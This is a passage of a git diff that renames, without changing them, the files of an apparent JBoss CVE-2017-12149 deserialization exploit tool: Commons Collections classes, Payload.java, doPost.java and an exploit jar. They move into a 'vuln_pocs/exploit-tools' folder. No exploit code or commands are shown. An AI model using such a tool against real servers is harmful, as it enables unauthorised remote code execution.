b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntryIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntryIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntryIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntrySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntrySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntrySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntrySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeyIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeyIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeyIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeyIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Lock.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Lock.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Lock.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Lock.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Node.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Node.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Node.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Node.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$ValueIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$ValueIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$ValueIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$ValueIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Values.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Values.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Values.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Values.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedSortedMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedSortedMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedSortedMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedSortedMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedSortedMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedSortedMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedSortedMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedSortedMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntrySetIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntrySetIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntrySetIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntrySetIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableOrderedMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableOrderedMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableOrderedMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableOrderedMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableSortedMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableSortedMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableSortedMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableSortedMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/overview.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/overview.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/overview.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/overview.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSerializableSetDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSerializableSetDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSerializableSetDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSerializableSetDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSetDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSetDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSetDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSetDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSortedSetDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSortedSetDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSortedSetDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSortedSetDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet$SetMutator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet$SetMutator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet$SetMutator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet$SetMutator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet$OrderedSetIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet$OrderedSetIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet$OrderedSetIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet$OrderedSetIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/MapBackedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/MapBackedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/MapBackedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/MapBackedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSortedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSortedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSortedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSortedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSortedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSortedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSortedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSortedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSortedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSortedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSortedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSortedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSortedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSortedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSortedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSortedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSortedSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSortedSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSortedSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSortedSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/set/package.html diff --git "a/jboss_CVE-2017-12149/jboss\345\217\215\345\272\217\345\210\227\345\214\226_CVE-2017-12149.jar" "b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/jboss\345\217\215\345\272\217\345\210\227\345\214\226_CVE-2017-12149.jar" similarity index 100% rename from "jboss_CVE-2017-12149/jboss\345\217\215\345\272\217\345\210\227\345\214\226_CVE-2017-12149.jar" rename to "vuln_pocs/exploit-tools/jboss_CVE-2017-12149/jboss\345\217\215\345\272\217\345\210\227\345\214\226_CVE-2017-12149.jar" diff --git a/jboss_CVE-2017-12149/src/.DS_Store b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/.DS_Store similarity index 100% rename from jboss_CVE-2017-12149/src/.DS_Store rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/.DS_Store diff --git a/jboss_CVE-2017-12149/src/com/jboss/main/Payload.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/com/jboss/main/Payload.java similarity index 100% rename from jboss_CVE-2017-12149/src/com/jboss/main/Payload.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/com/jboss/main/Payload.java diff --git a/jboss_CVE-2017-12149/src/com/jboss/main/doPost.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/com/jboss/main/doPost.java similarity index 100% rename from jboss_CVE-2017-12149/src/com/jboss/main/doPost.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/com/jboss/main/doPost.java diff --git a/jboss_CVE-2017-12149/src/com/jboss/main/main.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/com/jboss/main/main.java similarity index 100% rename from jboss_CVE-2017-12149/src/com/jboss/main/main.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/com/jboss/main/main.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ArrayStack.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ArrayStack.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ArrayStack.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ArrayStack.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/Bag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Bag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/Bag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Bag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BagUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BagUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BagUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BagUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BeanMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BeanMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BeanMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BeanMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BidiMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BidiMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BidiMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BidiMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BinaryHeap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BinaryHeap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BinaryHeap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BinaryHeap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedCollection.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedCollection.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedCollection.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedCollection.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedFifoBuffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedFifoBuffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedFifoBuffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedFifoBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BoundedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/Buffer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Buffer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/Buffer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Buffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferOverflowException.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferOverflowException.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferOverflowException.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferOverflowException.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferUnderflowException.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferUnderflowException.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferUnderflowException.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferUnderflowException.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/BufferUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/Closure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Closure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/Closure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Closure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ClosureUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ClosureUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ClosureUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ClosureUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/CollectionUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/CollectionUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/CollectionUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/CollectionUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ComparatorUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ComparatorUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ComparatorUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ComparatorUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/CursorableLinkedList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/CursorableLinkedList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/CursorableLinkedList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/CursorableLinkedList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/DefaultMapBag.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/DefaultMapBag.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/DefaultMapBag.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/DefaultMapBag.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/DefaultMapEntry.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/DefaultMapEntry.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/DefaultMapEntry.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/DefaultMapEntry.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/DoubleOrderedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/DoubleOrderedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/DoubleOrderedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/DoubleOrderedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/EnumerationUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/EnumerationUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/EnumerationUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/EnumerationUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/ExtendedProperties.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ExtendedProperties.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/ExtendedProperties.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/ExtendedProperties.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/Factory.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Factory.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/Factory.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/Factory.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/FactoryUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FactoryUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/FactoryUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FactoryUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastArrayList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastArrayList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/FastArrayList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastArrayList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastHashMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/FastHashMap.java similarity index 100% rename from 